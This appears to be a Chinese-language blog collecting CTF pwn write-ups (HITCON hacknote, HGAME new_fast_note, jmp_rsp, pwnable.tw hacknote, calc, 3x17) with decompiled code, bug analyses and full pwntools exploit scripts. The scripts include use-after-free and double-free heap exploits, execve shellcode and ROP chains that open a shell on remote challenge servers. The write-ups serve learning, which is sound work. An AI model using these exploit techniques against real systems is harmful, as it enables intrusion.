HITCON-training lab 10 hacknote 题目地址: HITCON-Training/LAB/lab10 at master · scwuaptx/HITCON-Training
由于不知道 libc 的版本,这里选择了2.23,不过高版本做法貌似也没有什么区别就是了
checksec 1 2 3 4 5 6 7 8 [* ] '/home/yyyffff/桌面/hacknote1' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8047000) Stripped: No
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[4 ]; unsigned int v5; v5 = __readgsdword(0x14u ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 4u ); v3 = atoi(buf); if ( v3 != 2 ) break ; del_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_note(); } else { if ( v3 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } } }
写的很明白了
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int add_note () { int v0; int i; int size; char buf[8 ]; unsigned int v5; v5 = __readgsdword(0x14u ); if ( count <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !*(¬elist + i) ) { *(¬elist + i) = malloc (8u ); if ( !*(¬elist + i) ) { puts ("Alloca Error" ); exit (-1 ); } *(_DWORD *)*(¬elist + i) = print_note_content; printf ("Note size :" ); read(0 , buf, 8u ); size = atoi(buf); v0 = (int )*(¬elist + i); *(_DWORD *)(v0 + 4 ) = malloc (size); if ( !*((_DWORD *)*(¬elist + i) + 1 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , *((void **)*(¬elist + i) + 1 ), size); puts ("Success !" ); ++count; return __readgsdword(0x14u ) ^ v5; } } } else { puts ("Full" ); } return __readgsdword(0x14u ) ^ v5; }
具体如下
从左到右分别是 size pre_size chunk_ptr print_note_content
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int del_note () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , buf, 4u ); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(¬elist + v1) ) { free (*((void **)*(¬elist + v1) + 1 )); free (*(¬elist + v1)); puts ("Success" ); } return __readgsdword(0x14u ) ^ v3; }
释放后没有置 0,存在 UAF
print 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned int print_note () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , buf, 4u ); v1 = atoi(buf); if ( v1 < 0 || v1 >= count ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(¬elist + v1) ) (*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1)); return __readgsdword(0x14u ) ^ v3; }
存在magic,后门函数 1 2 3 4 int magic () { return system("cat /home/hacknote/flag" ); }
在本地我自己创建了一个 flag 文件用于测试
思路 由于是32位的程序,我堆块的大小和对齐方式和64位有些区别,需要注意一下
由于存在管理堆块的堆,并且 print 中有直接调用指针,而且这个指针还是堆上的,如果我们可以修改这个指针为 magic 函数的地址,那么就可以直接读取到 flag
具体操作如下
首先 add 三个块,此时有三个大小为 8 字节的堆进行管理,接着 delete(0,1)
1 2 3 4 5 add(0x10 ,b'aa' ) add(0x10 ,b'aa' ) add(0x10 ,b'aa' ) delete(0 ) delete(1 )
现在 fastbins 大小为 0x8 内有 chunk1->chunk0<-0(这几个 chunk 都是用来管理的)
接着分配一个大小为 8 字节的堆块,此时分配两个大小为8字节的堆块,就会把两个管理堆块的堆分配走,由于 fastbins 是从头开始分配,所以我们可以修改的是 chunk0 的那个8字节管理的堆,我们将 print_note_content 指针修改为 magic,然后 view(0) 就可以得到 flag(由于 UAF )
1 2 3 4 5 6 backdoor=0x08048986 pause() add(8 ,p32(backdoor)) view(0 ) r.interactive()
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * context(arch='i386' ,os='linux' ,log_level='debug' ) r=process('./hacknote1' )def add (size,content ): r.recvuntil("hoice :" ) r.sendline("1" ) r.recvuntil("e :" ) r.sendline(str (size)) r.recvuntil("nt :" ) r.sendline(content)def delete (idx ): r.recvuntil("hoice :" ) r.sendline("2" ) r.recvuntil("Index :" ) r.sendline(str (idx))def view (idx ): r.recvuntil("hoice :" ) r.sendline("3" ) r.recvuntil("Index :" ) r.sendline(str (idx)) add(0x10 ,b'aa' ) add(0x10 ,b'aa' ) add(0x10 ,b'aa' ) pause() delete(0 ) delete(1 ) backdoor=0x08048986 pause() add(8 ,p32(backdoor)) view(0 ) r.interactive()
[HGAME 2023 week2]new_fast_note 标签 double-free tcache
checksec 全开
glibc-2.31
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28u ); init(argc, argv, envp); while ( 1 ) { menu(*(_QWORD *)&argc); *(_QWORD *)&argc = "%d" ; __isoc99_scanf("%d" , &v3); if ( v3 == 4 ) exit (0 ); if ( v3 > 4 ) { LABEL_12: *(_QWORD *)&argc = "Wrong choice!" ; puts ("Wrong choice!" ); } else { switch ( v3 ) { case 3 : show_note(); break ; case 1 : add_note("%d" , &v3); break ; case 2 : delete_note("%d" , &v3); break ; default : goto LABEL_12; } } } }
菜单题
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 __fastcall add_note (const char *a1) { unsigned int v1; unsigned int v3; _DWORD size[7 ]; *(_QWORD *)&size[1 ] = __readfsqword(0x28u ); printf ("Index: " ); __isoc99_scanf("%u" , &v3); if ( v3 <= 0x13 ) { printf ("Size: " ); __isoc99_scanf("%u" , size); if ( size[0 ] <= 0xFFu ) { v1 = v3; *((_QWORD *)¬es + v1) = malloc (size[0 ]); printf ("Content: " ); read(0 , *((void **)¬es + v3), size[0 ]); } else { puts ("Too big." ); } } else { puts ("There are only 20 pages in this notebook." ); } return __readfsqword(0x28u ) ^ *(_QWORD *)&size[1 ]; }
看起来最多只能分配0x13个堆,但是其并不会检查该notes上是否以及存在堆块了,所以可以无限分配,size 也是随便
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 __fastcall delete_note (const char *a1) { unsigned int v2; unsigned __int64 v3; v3 = __readfsqword(0x28u ); printf ("Index: " ); __isoc99_scanf("%u" , &v2); if ( v2 <= 0xF ) { if ( *((_QWORD *)¬es + v2) ) free (*((void **)¬es + v2)); else puts ("Page not found." ); } else { puts ("There are only 16 pages in this notebook." ); } return __readfsqword(0x28u ) ^ v3; }
非常明显的UAF
show 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned __int64 show_note () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28u ); printf ("Index: " ); __isoc99_scanf("%u" , &v1); if ( v1 <= 0xF ) { if ( *((_QWORD *)¬es + v1) ) puts (*((const char **)¬es + v1)); else puts ("Page not found." ); } else { puts ("There are only 16 pages in this notebook." ); } return __readfsqword(0x28u ) ^ v2; }
输出notes上的指针
利用 有个非常明显的 UAF,libcbase 是肯定得泄露出来的,可以利用 double free 打 __malloc_hook 或者 __free_hook,这里选择用 __malloc_hook 打 one_gadget
首先分配 8 个 unsortedbin 大小内堆块,然后全部 delete 掉,前 7 个进入 tcache,第 8 个进入 unsortedbin ,show(7) 即可泄露 libcbase
再次分配 9 个 fastbins (下标选择 0-8)大小内堆块,然后全释放,然后 fastbins 内部就会变成这样 8->7
再次 delete(7),fastbins 内部变为 7->8->7
然后分配相同大小,把第一个 7 分配走,由于 tcache,剩下的 8->7 就会转移到 tcache 之中,我们在分配的时候往 next 指针里面写入 __malloc_hook,这样 tcache 中就会形成 8->7->malloc_hook,再分配三次即可得到 malloc_hook,直接往里面写入 ogg 即可
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(os='linux' ,arch='amd64' ,log_level='debug' ) libc=ELF('./libc-2.31.so' ) r=remote("node5.anna.nssctf.cn" ,24009 ) ru=lambda x:r.recvuntil(x) sl=lambda x:r.sendline(x) sla=lambda a,b:r.sendlineafter(a,b)def add (idx,size,content ): ru(">" ) sl("1" ) ru("Index: " ) sl(str (idx)) sla("Size: " ,str (size)) sla("Content: " ,content)def delete (idx ): sla(">" ,"2" ) sla("Index: " ,str (idx))def show (idx ): sla(">" ,"3" ) sla("Index: " ,str (idx))for i in range (8 ): add(i,0x80 ,b'aa' ) add(8 ,0x80 ,b'aa' ) for i in range (8 ): delete(i) show(7 ) libcbase=u64(r.recv(6 ).ljust(8 ,b'\x00' ))-96 -0x1ebb80 -0x1000 system_addr=libcbase+libc.sym['system' ] malloc_hook=libcbase+libc.sym['__malloc_hook' ]print ("[+] system_addr: " ,hex (system_addr))for i in range (9 ): add(i,0x20 ,b'aa' ) for i in range (9 ): delete(i) delete(7 ) for i in range (7 ): add(i,0x20 ,b'aa' ) ogg=[0xe3afe ,0xe3b01 ,0xe3b04 ] add(0 ,0x20 ,p64(malloc_hook)) pause() add(1 ,0x20 ,b'aa' ) add(2 ,0x20 ,b'aa' ) add(3 ,0x20 ,p64(libcbase+ogg[1 ])) r.interactive()
总结 学到了一种新方法,因为 2.31 的 tcache 中加入了 key 来检测 double free,为了绕过其,我们就可以利用 fastbins 来实现
首先利用一些漏洞在 fastbins 内形成比如 chunk0->chunk1->chunk0 的结构,然后分配 chunk0,chunk1->chunk0 就会进入 tcache 之中,然后我们就可以随便写 chunk0 的 next,而且还不用绕过 size 域的检查
[广东省大学生攻防大赛 2022]jmp_rsp 标签 shellcode 栈溢出
checksec 只开了canary
静态链接
IDA 1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char v3; char buf[128 ]; printf ((unsigned int )"this is a classic pwn" , (_DWORD)argv, (_DWORD)envp, v3); read(0 , buf, 0x100u LL); return 0 ; }
可以看到虽然说有 canary 保护但是程序中并没有真正的启用,所以我们不用管 canary
非常明显的栈溢出
利用 题目给出了很明显的提示,jmp_rsp,可以利用 shellcode,将 getshell 的 shellcode 写在返回地址之后,将返回地址写完 jmp_rsp 即可
原理就在于执行 leave 时会把 rsp 的值改为 rbp,并且 pop rbp,此时 rsp 指向返回地址,接着 ret,也就是 pop rip,此时 rsp 指向我们的 shellcode,由于返回地址是 jmp_rsp,所以就可以执行我们的 shellcode 了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * context.log_level='debug' context.arch='amd64' r=remote("node4.anna.nssctf.cn" ,28053 ) jmp_rsp=0x46d01d shellcode=''' mov rax,0x68732f6e69622f push rax mov rdi,rsp xor rsi,rsi xor rdx,rdx mov rax,0x3b syscall ''' shellcode=asm(shellcode) payload=b'A' *(0x80 +8 )+p64(jmp_rsp)+shellcode r.send(payload) r.interactive()
pwnable.tw hacknote checksec 1 2 3 4 5 6 7 yyyffff@yyyffff-virtual-machine:~/Desktop/all/hacknote$ checksec hn [*] '/home/yyyffff/Desktop/all/hacknote/hn' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8046000)
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 void __cdecl __noreturn main () { int v0; char buf[4 ]; unsigned int v2; v2 = __readgsdword(0x14u ); setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 4u ); v0 = atoi(buf); if ( v0 != 2 ) break ; delete(); } if ( v0 > 2 ) { if ( v0 == 3 ) { show(); } else { if ( v0 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v0 != 1 ) goto LABEL_13; add(); } } }
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int sub_8048646 () { int v0; int i; int size; char buf[8 ]; unsigned int v5; v5 = __readgsdword(0x14u ); if ( dword_804A04C <= 5 ) { for ( i = 0 ; i <= 4 ; ++i ) { if ( !*(&ptr + i) ) { *(&ptr + i) = malloc (8u ); if ( !*(&ptr + i) ) { puts ("Alloca Error" ); exit (-1 ); } *(_DWORD *)*(&ptr + i) = print; printf ("Note size :" ); read(0 , buf, 8u ); size = atoi(buf); v0 = (int )*(&ptr + i); *(_DWORD *)(v0 + 4 ) = malloc (size); if ( !*((_DWORD *)*(&ptr + i) + 1 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , *((void **)*(&ptr + i) + 1 ), size); puts ("Success !" ); ++dword_804A04C; return __readgsdword(0x14u ) ^ v5; } } } else { puts ("Full" ); } return __readgsdword(0x14u ) ^ v5; }
分配情况如下
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned int sub_80487D4 () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , buf, 4u ); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&ptr + v1) ) { free (*((void **)*(&ptr + v1) + 1 )); free (*(&ptr + v1)); puts ("Success" ); } return __readgsdword(0x14u ) ^ v3; }
UAF
show 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned int sub_80488A5 () { int v1; char buf[4 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Index :" ); read(0 , buf, 4u ); v1 = atoi(buf); if ( v1 < 0 || v1 >= dword_804A04C ) { puts ("Out of bound!" ); _exit(0 ); } if ( *(&ptr + v1) ) (*(void (__cdecl **)(_DWORD))*(&ptr + v1))(*(&ptr + v1)); return __readgsdword(0x14u ) ^ v3; }
通过记录的 print 指针来输出
分析 UAF,libc 肯定要泄露,因为我们 show 时执行的是 add 里记录的 print 指针,如果我们可以控制该指针,就可以控制 eip
首先分配一个 unsortedbin 范围内的堆,释放掉再分配回来,泄露其内容,也就是 unsortedbin 链表头地址,从而泄露 libc
分配一个堆,然后释放掉第一步的堆和这个,记该堆为 B 块,第一步为堆 A,那么其对应的 8 大小的块在fastbins 就会形成 B->A
分配大小为 8 的块,就会将管理 A 块的那个 8bytes 的堆给我们当作内容可以写入,我们往其中写入 p32(system_addr)+b’;sh’ 即可得到 flag,至于为什么我也不清楚,查的资料说是第一次 system 函数地址是其本身地址,这样肯定会报错,但是后面我用 ;sh 隔开,就会执行 system(“sh”),并且忽略第一次报错,就可以得到 shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import * context.log_level='debug' r=process('./hn' ) elf=ELF('./hn' ) libc=ELF('./libc_32.so.6' ) sla = lambda a,b : r.sendlineafter(a,b) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) se=lambda a : r.send(a)def add (size,content ): sla("Your choice :" ,"1" ) sla("Note size :" ,str (size)) sa("Content :" ,content)def delete (idx ): sla("Your choice :" ,"2" ) sla("Index :" ,str (idx))def show (idx ): sla("Your choice :" ,"3" ) sla("Index :" ,str (idx)) add(0x60 ,b'to leak' ) add(0x10 ,b'top' ) delete(0 ) add(0x60 ,b'aaab' ) show(0 ) r.recvuntil("aaab" ) libcbase=u32(r.recv(4 ))-0x7b0 -0x1b0000 system_addr=libcbase+libc.sym['system' ] add(20 ,b'/bin/sh\x00' ) delete(0 ) delete(3 ) add(8 ,p32(system_addr)+b';sh' ) show(0 ) r.interactive()
pwnable.tw calc 基本信息 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/calc$ checksec calc [*] '/mnt/hgfs/VMware-share/pwnable/calc/calc' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No
1 2 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/calc$ file calc calc: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=26cd6e85abb708b115d4526bcce2ea6db8a80c64, not stripped
32 位静态链接,有 canary 和 NX
IDA 看题目大概知道是类似计算器的题目
main 1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { ssignal(14 , timeout); alarm(60 ); puts ("=== Welcome to SECPROG calculator ===" ); fflush(stdout ); calc(); return puts ("Merry Christmas!" ); }
calc 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned int calc () { int v1[101 ]; char s[1024 ]; unsigned int v3; v3 = __readgsdword(0x14u ); while ( 1 ) { bzero(s, 0x400u ); if ( !get_expr((int )s, 1024 ) ) break ; init_pool(v1); if ( parse_expr((int )s, v1) ) { printf ("%d\n" , v1[v1[0 ]]); fflush(stdout ); } } return __readgsdword(0x14u ) ^ v3; }
首先输入:get_expr,然后根据输入来进行计算 parse_expr,s 存储我们的输入
这里输出 v1[v1[0]],如果我们可以控制 v1[0],那么就可以读取任意地址信息
get_expr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int __cdecl get_expr (int a1, int max) { int v2; char v4; int v5; v5 = 0 ; while ( v5 < max && read(0 , &v4, 1 ) != -1 && v4 != 10 ) { if ( v4 == '+' || v4 == '-' || v4 == '*' || v4 == '/' || v4 == '%' || v4 > '/' && v4 <= '9' ) { v2 = v5++; *(_BYTE *)(a1 + v2) = v4; } } *(_BYTE *)(v5 + a1) = 0 ; return v5; }
parse_expr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 int __cdecl parse_expr (int input, _DWORD *stack ) { int v3; int v4; int i; int v6; int len; char *s1; int op1; char fuhao[100 ]; unsigned int v11; v11 = __readgsdword(0x14u ); v4 = input; v6 = 0 ; bzero(fuhao, 0x64u ); for ( i = 0 ; ; ++i ) { if ( *(char *)(i + input) - (unsigned int )'0' > 9 ) { len = i + input - v4; s1 = (char *)malloc (len + 1 ); memcpy (s1, v4, len); s1[len] = 0 ; if ( !strcmp (s1, "0" ) ) { puts ("prevent division by zero" ); fflush(stdout ); return 0 ; } op1 = atoi(s1); if ( op1 > 0 ) { v3 = (*stack )++; stack [v3 + 1 ] = op1; } if ( *(_BYTE *)(i + input) && (unsigned int )(*(char *)(i + 1 + input) - 48 ) > 9 ) { puts ("expression error!" ); fflush(stdout ); return 0 ; } v4 = i + 1 + input; if ( fuhao[v6] ) { switch ( *(_BYTE *)(i + input) ) { case '%' : case '*' : case '/' : if ( fuhao[v6] != '+' && fuhao[v6] != '-' ) goto LABEL_14; fuhao[++v6] = *(_BYTE *)(i + input); break ; case '+' : case '-' : LABEL_14: eval(stack , fuhao[v6]); fuhao[v6] = *(_BYTE *)(i + input); break ; default : eval(stack , fuhao[v6--]); break ; } } else { fuhao[v6] = *(_BYTE *)(i + input); } if ( !*(_BYTE *)(i + input) ) break ; } } while ( v6 >= 0 ) eval(stack , fuhao[v6--]); return 1 ; }
eval 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 _DWORD *__cdecl eval (_DWORD *stack , char fuhao) { _DWORD *result; if ( fuhao == '+' ) { stack [*stack - 1 ] += stack [*stack ]; } else if ( fuhao > '+' ) { if ( fuhao == '-' ) { stack [*stack - 1 ] -= stack [*stack ]; } else if ( fuhao == '/' ) { stack [*stack - 1 ] /= (int )stack [*stack ]; } } else if ( fuhao == '*' ) { stack [*stack - 1 ] *= stack [*stack ]; } result = stack ; --*stack ; return result; }
分析 我们的最终目的是要控制 v1[0] 来造成任意地址的读写
parse_expr 中没有关于操作数个数的检查,那么当我们输入 +x 的时候,就会使
1 2 3 4 5 if ( op1 > 0 ) { v3 = (*stack )++; stack [v3 + 1 ] = op1; }
中 stack[0]=1 ,然后进入 eval 加法分支
1 2 3 4 if ( fuhao == '+' ) { stack [*stack - 1 ] += stack [*stack ]; }
此时 a1[0] = 1 那么此时执行的就是 stack[0]=stack[0]+stack[1],stack[1] 是 +x 中的 x ,那么我们就可以使 stack[0]=x ,就可以控制上文中的 v1[0] 从而泄露地址
同时也可以做到覆盖地址,就是往地址上进行加减运算,首先泄露地址上信息,然后计算我们目标与该地址的偏移,然后加减偏移即可。具体就是 +x+y,第一次 +x 赋值 stack[0]=x 第二次 +y 在偏移为 x 处加减 y
总结
我们还需要一个地址写入 /bin/sh,这里可以用 main 函数的 exp 来写
具体写入
栈
偏移
写入
parse_expr_ebp
360
parse_expr ret
361
pop eax
main_ebp-0x18
362
0xb
-0x14
363
pop edcbx
-0x10
364
0
-0xc
365
0
-0x8
366
ebp
-0x4
367
int 0x80
main_ebp
368
binsh
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import * r=remote("chall.pwnable.tw" ,10100 ) context(arch='i386' ,log_level='debug' ,os='linux' ) pop_eax=0x0805c34b int_0x80=0x08049a21 pop_edx=0x080701aa pop_ecbx_ret=0x080701d1 pop_edx_ecx_ebx = 0x080701d0 sla = lambda a,b : r.sendlineafter(a,b) sl = lambda a : r.sendline(a) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) r.recv() sl("+360" ) ebp=int (r.recv())print ("===get ebp:===" ,hex (ebp)) rop = [pop_eax, 0x0b , pop_edx_ecx_ebx, 0x0 , 0x0 , ebp, int_0x80, u32("/bin" ), u32("/sh\0" )] offset=361 for i in rop: payload='+' +str (offset) r.sendline(payload) a=int (r.recv()) offset1=i-a if offset1>0 : payload+='+' +str (offset1) else : payload+=str (offset1) r.sendline(payload) r.recv() offset=offset+1 r.interactive()
参考wp Pwnable.tw calc Writeup - kazma’s blog
pwnable.tw 3x17 基本信息 1 2 3 4 5 6 7 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/317$ checksec 317 [*] '/mnt/hgfs/VMware-share/pwnable/317/317' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
静态链接
IDA 题目去符号表了,不好定位到 main 函数,运行程序后发现有字符串 addr: ,在IDA字符串里寻找
、
从而定位到主函数
main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 int __cdecl main (int argc, const char **argv, const char **envp) { int result; char *v4; char buf[24 ]; unsigned __int64 v6; v6 = __readfsqword(0x28u ); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { write(1u , "addr:" , 5uLL ); read(0 , buf, 0x18u LL); v4 = (char *)(int )sub_40EE70(buf); write(1u , "data:" , 5uLL ); read(0 , v4, 0x18u LL); result = 0 ; } if ( __readfsqword(0x28u ) != v6 ) canary(); return result; }
经过调试,发现 sub_40EE70 是转换的函数,比如输入1111 ,结果就是 0x457,所以说可以任意写
分析 main函数启动过程 程序启动时其实并不是直接调用 main 函数
实际上的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ┌────────────────────────────┐ │ Linux 内核 (execve) │ │ ↓ | │ 加载 ELF 可执行文件 | │ 建立内存映射/堆栈结构 │ │ 设置 argc, argv, envp │ │ ↓ │ │ 跳转到 ELF 入口点 `_start` │ │ ↓ │ │ 调用 __libc_start_main() │ │ ↓ │ │ 调用程序的初始化函数(.init_array)│ │ ↓ │ │ 调用用户的 main() │ │ ↓ │ │ 调用 exit () / _fini │ └────────────────────────────┘
观察 _start 函数(手动赋予了符号)
fini 和 init 分别是两个 libc函数的地址,但是由于静态链接,我们直接点进去就可以查看其反汇编
顾名思义,一个 init 一个 fini ,分别在 main 函数执行完/前执行,这里可以直接看其源码,执行了什么
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 void __libc_csu_init (int argc, char **argv, char **envp) { #ifndef LIBC_NONSHARED { const size_t size = __preinit_array_end - __preinit_array_start; size_t i; for (i = 0 ; i < size; i++) (*__preinit_array_start [i]) (argc, argv, envp); }#endif void __libc_csu_fini (void ) {#ifndef LIBC_NONSHARED size_t i = __fini_array_end - __fini_array_start; while (i-- > 0 ) (*__fini_array_start [i]) ();# ifndef NO_INITFINI _fini ();# endif #endif
init 执行__preinit_array_start[0-n],而 fini 则是执行 __fini_array_start [n-0]
得出实际上程序运行
1 __preinit_array_start [0-n]->main -> __fini_array_start [n-0 ]
我们有任意地址写,__preinit_array_start[0-n] 执行过了,写了也没用,研究 fini_array
调试后发现该程序执行
1 main ->fini_array [1]-> fini_array[0 ]
看其反汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 .text:0000000000402960 55 push rbp .text:0000000000402961 48 8D 05 98 17 0B 00 lea rax, unk_4B4100 .text:0000000000402968 48 8D 2D 81 17 0B 00 lea rbp, off_4B40F0 .text:000000000040296F 53 push rbx .text:0000000000402970 48 29 E8 sub rax, rbp .text:0000000000402973 48 83 EC 08 sub rsp, 8 .text:0000000000402977 48 C1 F8 03 sar rax, 3 .text:000000000040297B 74 19 jz short loc_402996 .text:000000000040297B .text:000000000040297D 48 8D 58 FF lea rbx, [rax-1] .text:0000000000402981 0F 1F 80 00 00 00 00 nop dword ptr [rax+00000000h] .text:0000000000402981 .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: fini+34↓j .text:0000000000402988 FF 54 DD 00 call qword ptr [rbp+rbx*8+0] ;fini_array .text:0000000000402988 .text:000000000040298C 48 83 EB 01 sub rbx, 1 .text:0000000000402990 48 83 FB FF cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 75 F2 jnz short loc_402988 .text:0000000000402994 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: fini+1B↑j .text:0000000000402996 48 83 C4 08 add rsp, 8 .text:000000000040299A 5B pop rbx .text:000000000040299B 5D pop rbp .text:000000000040299C E9 8B B9 08 00 jmp _term_proc .text:000000000040299C ; } // starts at 402960
这里先将rbp保存到栈上然后令 rbp=4b40f0 来 call fini_array[]
如果我们将 fini_arrat[1] 赋值 main,[0] 赋值 fini,就可以做到无限任意地址写了
1 .text:0000000000402968 48 8D 2D 81 17 0B 00 lea rbp, off_4B40F0
这里给 rbp 0x4b40f0,如果此时 leave ret,就可以将栈迁移到该地址处,如果我们提前在该地址处布置好 rop,就可以控制程序执行我们想要的了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * r=remote("chall.pwnable.tw" ,10105 ) sla = lambda a,b : r.sendlineafter(a,b) sl = lambda a : r.sendlineafter(a) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a)def write (addr,data ): sa("addr:" ,str (addr)) sa("data:" ,data) fini=0x402960 main_addr=0x401B6D fini_array=0x4B40F0 rax_ret=0x000000000041e4af rdi_ret=0x0000000000401696 rsi_ret=0x0000000000406c30 rdx_ret=0x0000000000446e35 syscall_addr=0x00000000004022b4 binsh_addr=0x4b4000 leave_ret=0x401C4B stack=0x4B4100 write(fini_array,p64(fini)+p64(main_addr)) write(binsh_addr,b'/bin/sh\x00' ) write(stack,p64(rax_ret)+p64(0x3b )) write(stack+0x10 ,p64(rdi_ret)+p64(binsh_addr)) write(stack+0x20 ,p64(rsi_ret)+p64(0 )) write(stack+0x30 ,p64(rdx_ret)+p64(0 )) write(stack+0x40 ,p64(syscall_addr)) write(fini_array,p64(leave_ret)) r.interactive()
总结 学到了程序的启动过程,实际上会调用哪些东西
pwnale.tw dubblesort 基本信息 1 2 3 4 5 6 7 [*] '/mnt/hgfs/VMware-share/pwnable/sort/sort' re-share/pwnable/sort$ Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
动态链接
